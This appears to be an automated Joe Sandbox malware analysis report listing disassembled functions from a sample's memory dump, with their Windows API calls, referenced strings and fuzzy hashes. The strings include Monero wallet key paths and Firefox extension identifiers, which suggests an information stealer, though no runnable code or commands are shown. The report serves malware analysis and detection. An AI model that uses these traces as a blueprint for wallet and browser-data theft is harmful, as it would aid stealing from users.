Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 5f903f480cd6b3e89f29028afb18de86bbd9f07c4a0fc68035bb39f332edcdf0
Instruction ID: 737fde88262a3e37725fd5ca3ee070634e5d6d9acbf5a7bf2098f1c2859a3489
Opcode Fuzzy Hash: 5f903f480cd6b3e89f29028afb18de86bbd9f07c4a0fc68035bb39f332edcdf0
Instruction Fuzzy Hash: 99112BB2A44209BFD710DBD8DD49F7ABBBCFB08750F108159F609A7680D7B85800CBA5

Function 005B12A0 Relevance: 7.5, APIs: 5, Instructions: 39registrymemoryCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104), ref: 005B12B4
RtlAllocateHeap.NTDLL(00000000), ref: 005B12BB
RegOpenKeyExA.KERNEL32(000000FF,?,00000000,00020119,?), ref: 005B12D7
RegQueryValueExA.ADVAPI32(?,000000FF,00000000,00000000,?,000000FF), ref: 005B12F5
RegCloseKey.ADVAPI32(?), ref: 005B12FF

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: Heap$AllocateCloseOpenProcessQueryValue
String ID:
API String ID: 3225020163-0
Opcode ID: 9cf9bcc4404b3f2e2d8a8d274a6ae9b6236677eaf287f69137c7d6bc52568b44
Instruction ID: a1baa0c582d9d7fc747b0de3c9f1ddcaf4b1ed4a5f7c8183bb3b368513248494
Opcode Fuzzy Hash: 9cf9bcc4404b3f2e2d8a8d274a6ae9b6236677eaf287f69137c7d6bc52568b44
Instruction Fuzzy Hash: A301E1F9A40208BFDB04DFE4DC59FAEB7B8EB48705F108159FA0997280D675AA01CF55

Function 005BA0A0 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 116libraryCOMMON

Download Yara Rule

APIs

GetEnvironmentVariableA.KERNEL32(00C79F48,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,0000FFFF), ref: 005BA0BD
LoadLibraryA.KERNEL32(00C7EA80), ref: 005BA146

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA820: lstrlen.KERNEL32(005B4F05,?,?,005B4F05,005D0DDE), ref: 005CA82B
Part of subcall function 005CA820: lstrcpy.KERNEL32(005D0DDE,00000000), ref: 005CA885

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

SetEnvironmentVariableA.KERNEL32(00C79F48,00000000,00000000,?,005D12D8,?,?,C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;,005D0AFE), ref: 005BA132

Strings

C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;, xrefs: 005BA0B2, 005BA0C6, 005BA0DC

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$EnvironmentVariablelstrcatlstrlen$LibraryLoad
String ID: C:\Program Files (x86)\Common Files\Oracle\Java\javapath;C:\Windows\system32;C:\Windows;C:\Windows\System32\Wbem;C:\Windows\System32\WindowsPowerShell\v1.0\;C:\Windows\System32\OpenSSH\;C:\Users\user\AppData\Local\Microsoft\WindowsApps;
API String ID: 2929475105-3463377506
Opcode ID: bdbadf42b5184eb4126accbe22ea26eb2a47faa690fe808b9675cb3ae6c973ab
Instruction ID: c657eb609760cd55f5b4ef013fea38b969b6f7d33abd48d8cf3d6c8840d4f7ca
Opcode Fuzzy Hash: bdbadf42b5184eb4126accbe22ea26eb2a47faa690fe808b9675cb3ae6c973ab
Instruction Fuzzy Hash: 76410DF5911209BFCB04EFA4EC59FBA7BB4BB48305F148119E509D32A0EB396944CB67

Function 005BA260 Relevance: 6.4, APIs: 4, Instructions: 370filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005C8B60: GetSystemTime.KERNEL32(005D0E1A,00C7B5B0,005D05AE,?,?,005B13F9,?,0000001A,005D0E1A,00000000,?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005C8B86

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005BA2E1
lstrlen.KERNEL32(00000000,00000000), ref: 005BA3FF
lstrlen.KERNEL32(00000000), ref: 005BA6BC

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

DeleteFileA.KERNEL32(00000000), ref: 005BA743

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: a5476a8333e4b9795824492ac4f303ae2e46677aea6286d2a579327945693b36
Instruction ID: a545f2d82af5a7f65febdf0c665715d6efa8e0aac5237c68ecfa26e85f510d92
Opcode Fuzzy Hash: a5476a8333e4b9795824492ac4f303ae2e46677aea6286d2a579327945693b36
Instruction Fuzzy Hash: CEE1D97281010DAFDB14EBE4DC9AFEE7B38BF94304F50815DF516A2091EE346A49CB66

Function 005BD780 Relevance: 6.2, APIs: 4, Instructions: 221filestringCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005C8B60: GetSystemTime.KERNEL32(005D0E1A,00C7B5B0,005D05AE,?,?,005B13F9,?,0000001A,005D0E1A,00000000,?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005C8B86

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

CopyFileA.KERNEL32(00000000,00000000,00000001), ref: 005BD801
lstrlen.KERNEL32(00000000), ref: 005BD99F
lstrlen.KERNEL32(00000000), ref: 005BD9B3
DeleteFileA.KERNEL32(00000000), ref: 005BDA32

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$lstrlen$Filelstrcat$CopyDeleteSystemTime
String ID:
API String ID: 211194620-0
Opcode ID: 288aeefeb583f4d2be889af0403d292d43858c6cd6b92178203751e521c8e75f
Instruction ID: 0ee673a6ecaca4e57e46a3123d5fe37848ddff95e688c7562b632c5b922dfd06
Opcode Fuzzy Hash: 288aeefeb583f4d2be889af0403d292d43858c6cd6b92178203751e521c8e75f
Instruction Fuzzy Hash: 5E81DB72910109AFDB14EBE4DC9AEEE7F38BF94304F50452DF506A6091EE346A09CB66

Function 005BF4A0 Relevance: 6.2, APIs: 2, Strings: 2, Instructions: 154stringCOMMON

Download Yara Rule

APIs

Part of subcall function 005CA7A0: lstrcpy.KERNEL32(?,00000000), ref: 005CA7E6

Part of subcall function 005B99C0: CreateFileA.KERNEL32(00000000,80000000,00000001,00000000,00000003,00000000,00000000), ref: 005B99EC
Part of subcall function 005B99C0: GetFileSizeEx.KERNEL32(000000FF,?), ref: 005B9A11
Part of subcall function 005B99C0: LocalAlloc.KERNEL32(00000040,?), ref: 005B9A31
Part of subcall function 005B99C0: ReadFile.KERNEL32(000000FF,?,00000000,005B148F,00000000), ref: 005B9A5A
Part of subcall function 005B99C0: LocalFree.KERNEL32(005B148F), ref: 005B9A90
Part of subcall function 005B99C0: CloseHandle.KERNEL32(000000FF), ref: 005B9A9A

Part of subcall function 005C8E30: LocalAlloc.KERNEL32(00000040,-00000001), ref: 005C8E52

Part of subcall function 005CA740: lstrcpy.KERNEL32(005D0E17,00000000), ref: 005CA788

Part of subcall function 005CA9B0: lstrlen.KERNEL32(?,00C79D18,?,\Monero\wallet.keys,005D0E17), ref: 005CA9C5
Part of subcall function 005CA9B0: lstrcpy.KERNEL32(00000000), ref: 005CAA04
Part of subcall function 005CA9B0: lstrcat.KERNEL32(00000000,00000000), ref: 005CAA12

Part of subcall function 005CA8A0: lstrcpy.KERNEL32(?,005D0E17), ref: 005CA905

Part of subcall function 005CA920: lstrcpy.KERNEL32(00000000,?), ref: 005CA972
Part of subcall function 005CA920: lstrcat.KERNEL32(00000000), ref: 005CA982

StrStrA.SHLWAPI(00000000,00000000,00000000,?,?,00000000,?,005D1580,005D0D92), ref: 005BF54C
lstrlen.KERNEL32(00000000), ref: 005BF56B

Strings

moz-extension+++, xrefs: 005BF5AD
^userContextId=4294967295, xrefs: 005BF59C

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy$FileLocal$Alloclstrcatlstrlen$CloseCreateFreeHandleReadSize
String ID: ^userContextId=4294967295$moz-extension+++
API String ID: 998311485-3310892237
Opcode ID: b8db200ca983f44b057f48127329757835a827d6546ffc87bfb33ab699ec3dca
Instruction ID: a4e7ba9d3d91e9fc7c3207e8fd9ec76111c2e59c4fea838dca1a4a81a46688e0
Opcode Fuzzy Hash: b8db200ca983f44b057f48127329757835a827d6546ffc87bfb33ab699ec3dca
Instruction Fuzzy Hash: 3A510E7190010DAFDB14FBE4EC5AEED7F78BF94304F40852DE81666191EE346A09CBA2

Function 005C70D0 Relevance: 6.1, APIs: 1, Strings: 3, Instructions: 140COMMON

Download Yara Rule

Strings

65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30, xrefs: 005C718C
s\, xrefs: 005C7111
s\, xrefs: 005C72AE, 005C7179, 005C717C

Memory Dump Source

Source File: 00000000.00000002.1932303074.00000000005B1000.00000040.00000001.01000000.00000003.sdmp, Offset: 005B0000, based on PE: true

Associated: 00000000.00000002.1932287511.00000000005B0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000060A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000635000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000638000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000063F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000642000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000661000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000066D000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000692000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000069F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006BF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.00000000006CE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000755000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.0000000000775000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932303074.000000000077B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.000000000080E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000999000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A97000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000A9F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1932679866.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933018626.0000000000AAE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933137106.0000000000C4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1933155444.0000000000C4B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_5b0000_file.jbxd

Yara matches

Similarity

API ID: lstrcpy
String ID: s\$s\$65 79 41 69 64 48 6C 77 49 6A 6F 67 49 6B 70 58 56 43 49 73 49 43 4A 68 62 47 63 69 4F 69 41 69 52 57 52 45 55 30 45 69 49 48 30
API String ID: 3722407311-3339790998
Opcode ID: 8db1e4c867ab94cfcb50f0190ada0429f0b64051827c81518006e0ad0b00e940
Instruction ID: 517775e96d4405759f831f7719717de3bfc00befa7e82548f1f3813b5d4368b0
Opcode Fuzzy Hash: 8db1e4c867ab94cfcb50f0190ada0429f0b64051827c81518006e0ad0b00e940
Instruction Fuzzy Hash: 69514CB0C0421D9FDB24EBE0DC85FEEBBB4BB58304F1444ADE51566181EB746A88CF55

